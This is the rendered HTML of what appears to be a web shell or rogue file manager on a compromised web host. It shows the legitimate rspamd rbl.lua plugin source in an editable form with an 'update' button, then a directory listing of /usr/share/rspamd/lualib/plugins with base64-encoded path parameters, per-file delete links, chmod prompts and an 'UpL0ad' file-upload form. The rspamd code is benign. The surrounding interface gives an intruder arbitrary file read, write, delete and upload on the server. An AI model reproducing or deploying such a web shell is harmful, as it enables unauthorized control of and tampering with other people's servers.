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<hr>rbl.lua<form method=post action="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM%3D&f=cmJsLmx1YQ%3D%3D"><input name="f" value="rbl.lua"><textarea name="t">--[[
Copyright (c) 2022, Vsevolod Stakhov &lt;vsevolod@rspamd.com&gt;

Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
]]--

local ts = require(&quot;tableshape&quot;).types
local lua_maps = require &quot;lua_maps&quot;
local lua_util = require &quot;lua_util&quot;

-- Common RBL plugin definitions

local check_types = {
  from = {
    connfilter = true,
  },
  received = {},
  helo = {
    connfilter = true,
  },
  urls = {},
  content_urls = {},
  numeric_urls = {},
  emails = {},
  replyto = {},
  dkim = {},
  rdns = {
    connfilter = true,
  },
  selector = {
    require_argument = true,
  },
}

local default_options = {
  ['default_enabled'] = true,
  ['default_ipv4'] = true,
  ['default_ipv6'] = true,
  ['default_unknown'] = false,
  ['default_dkim_domainonly'] = true,
  ['default_emails_domainonly'] = false,
  ['default_exclude_users'] = false,
  ['default_exclude_local'] = true,
  ['default_no_ip'] = false,
  ['default_dkim_match_from'] = false,
  ['default_selector_flatten'] = true,
}

local return_codes_schema = ts.map_of(
    ts.string / string.upper, -- Symbol name
    (
        ts.array_of(ts.string) +
            (ts.string / function(s)
              return { s }
            end) -- List of IP patterns
    )
)
local return_bits_schema = ts.map_of(
    ts.string / string.upper, -- Symbol name
    (
        ts.array_of(ts.number + ts.string / tonumber) +
            (ts.string / function(s)
              return { tonumber(s) }
            end) +
            (ts.number / function(s)
              return { s }
            end)
    )
)

local rule_schema_tbl = {
  content_urls = ts.boolean:is_optional(),
  disable_monitoring = ts.boolean:is_optional(),
  disabled = ts.boolean:is_optional(),
  dkim = ts.boolean:is_optional(),
  dkim_domainonly = ts.boolean:is_optional(),
  dkim_match_from = ts.boolean:is_optional(),
  emails = ts.boolean:is_optional(),
  emails_delimiter = ts.string:is_optional(),
  emails_domainonly = ts.boolean:is_optional(),
  enabled = ts.boolean:is_optional(),
  exclude_local = ts.boolean:is_optional(),
  exclude_users = ts.boolean:is_optional(),
  from = ts.boolean:is_optional(),
  hash = ts.one_of { &quot;sha1&quot;, &quot;sha256&quot;, &quot;sha384&quot;, &quot;sha512&quot;, &quot;md5&quot;, &quot;blake2&quot; }:is_optional(),
  hash_format = ts.one_of { &quot;hex&quot;, &quot;base32&quot;, &quot;base64&quot; }:is_optional(),
  hash_len = (ts.integer + ts.string / tonumber):is_optional(),
  helo = ts.boolean:is_optional(),
  ignore_default = ts.boolean:is_optional(), -- alias
  ignore_defaults = ts.boolean:is_optional(),
  ignore_url_whitelist = ts.boolean:is_optional(),
  ignore_whitelist = ts.boolean:is_optional(),
  ignore_whitelists = ts.boolean:is_optional(), -- alias
  images = ts.boolean:is_optional(),
  ipv4 = ts.boolean:is_optional(),
  ipv6 = ts.boolean:is_optional(),
  is_whitelist = ts.boolean:is_optional(),
  local_exclude_ip_map = ts.string:is_optional(),
  monitored_address = ts.string:is_optional(),
  no_ip = ts.boolean:is_optional(),
  process_script = ts.string:is_optional(),
  random_monitored = ts.boolean:is_optional(),
  rbl = ts.string,
  rdns = ts.boolean:is_optional(),
  received = ts.boolean:is_optional(),
  received_flags = ts.array_of(ts.string):is_optional(),
  received_max_pos = ts.number:is_optional(),
  received_min_pos = ts.number:is_optional(),
  received_nflags = ts.array_of(ts.string):is_optional(),
  replyto = ts.boolean:is_optional(),
  requests_limit = (ts.integer + ts.string / tonumber):is_optional(),
  require_symbols = (
      ts.array_of(ts.string) + (ts.string / function(s)
        return { s }
      end)
  ):is_optional(),
  resolve_ip = ts.boolean:is_optional(),
  return_bits = return_bits_schema:is_optional(),
  return_codes = return_codes_schema:is_optional(),
  returnbits = return_bits_schema:is_optional(),
  returncodes = return_codes_schema:is_optional(),
  returncodes_matcher = ts.one_of { &quot;equality&quot;, &quot;glob&quot;, &quot;luapattern&quot;, &quot;radix&quot;, &quot;regexp&quot; }:is_optional(),
  selector = ts.one_of { ts.string, ts.table }:is_optional(),
  selector_flatten = ts.boolean:is_optional(),
  symbol = ts.string:is_optional(),
  symbols_prefixes = ts.map_of(ts.string, ts.string):is_optional(),
  unknown = ts.boolean:is_optional(),
  url_compose_map = lua_maps.map_schema:is_optional(),
  url_full_hostname = ts.boolean:is_optional(),
  url_whitelist = lua_maps.map_schema:is_optional(),
  urls = ts.boolean:is_optional(),
  whitelist = lua_maps.map_schema:is_optional(),
  whitelist_exception = (
      ts.array_of(ts.string) + (ts.string / function(s)
        return { s }
      end)
  ):is_optional(),
  checks = ts.array_of(ts.one_of(lua_util.keys(check_types))):is_optional(),
  exclude_checks = ts.array_of(ts.one_of(lua_util.keys(check_types))):is_optional(),
}

local function convert_checks(rule, name)
  local rspamd_logger = require &quot;rspamd_logger&quot;
  if rule.checks then
    local all_connfilter = true
    local exclude_checks = lua_util.list_to_hash(rule.exclude_checks or {})
    for _, check in ipairs(rule.checks) do
      if not exclude_checks[check] then
        local check_type = check_types[check]
        if check_type.require_argument then
          if not rule[check] then
            rspamd_logger.errx(rspamd_config, 'rbl rule %s has check %s which requires an argument',
                name, check)
            return nil
          end
        end

        rule[check] = check_type

        if not check_type.connfilter then
          all_connfilter = false
        end

        if not check_type then
          rspamd_logger.errx(rspamd_config, 'rbl rule %s has invalid check type: %s',
              name, check)
          return nil
        end
      else
        rspamd_logger.infox(rspamd_config, 'disable check %s in %s: excluded explicitly',
            check, name)
      end
    end
    rule.connfilter = all_connfilter
  end

  -- Now check if we have any check enabled at all
  local check_found = false
  for k, _ in pairs(check_types) do
    if type(rule[k]) ~= 'nil' then
      check_found = true
      break
    end
  end

  if not check_found then
    -- Enable implicit `from` check to allow upgrade
    rspamd_logger.warnx(rspamd_config, 'rbl rule %s has no check enabled, enable default `from` check',
        name)
    rule.from = true
  end

  if rule.returncodes and not rule.returncodes_matcher then
    for _, v in pairs(rule.returncodes) do
      for _, e in ipairs(v) do
        if e:find('[%%%[]') then
          rspamd_logger.warn(rspamd_config, 'implicitly enabling luapattern returncodes_matcher for rule %s', name)
          rule.returncodes_matcher = 'luapattern'
          break
        end
      end
      if rule.returncodes_matcher then
        break
      end
    end
  end

  return rule
end


-- Add default boolean flags to the schema
for def_k, _ in pairs(default_options) do
  rule_schema_tbl[def_k:sub(#('default_') + 1)] = ts.boolean:is_optional()
end

return {
  check_types = check_types,
  rule_schema = ts.shape(rule_schema_tbl),
  default_options = default_options,
  convert_checks = convert_checks,
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/rspamd/lualib/plugins<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGli"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&x=ZG1hcmMubHVh">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=ZG1hcmMubHVh"/>dmarc.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=ZG1hcmMubHVh&c=`+btoa(c):0" value="0644"></td><td>10808</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&x=bmV1cmFsLmx1YQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=bmV1cmFsLmx1YQ=="/>neural.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=bmV1cmFsLmx1YQ==&c=`+btoa(c):0" value="0644"></td><td>30047</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&x=cmJsLmx1YQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=cmJsLmx1YQ=="/>rbl.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL3BsdWdpbnM=&f=cmJsLmx1YQ==&c=`+btoa(c):0" value="0644"></td><td>7465</td></tr></table>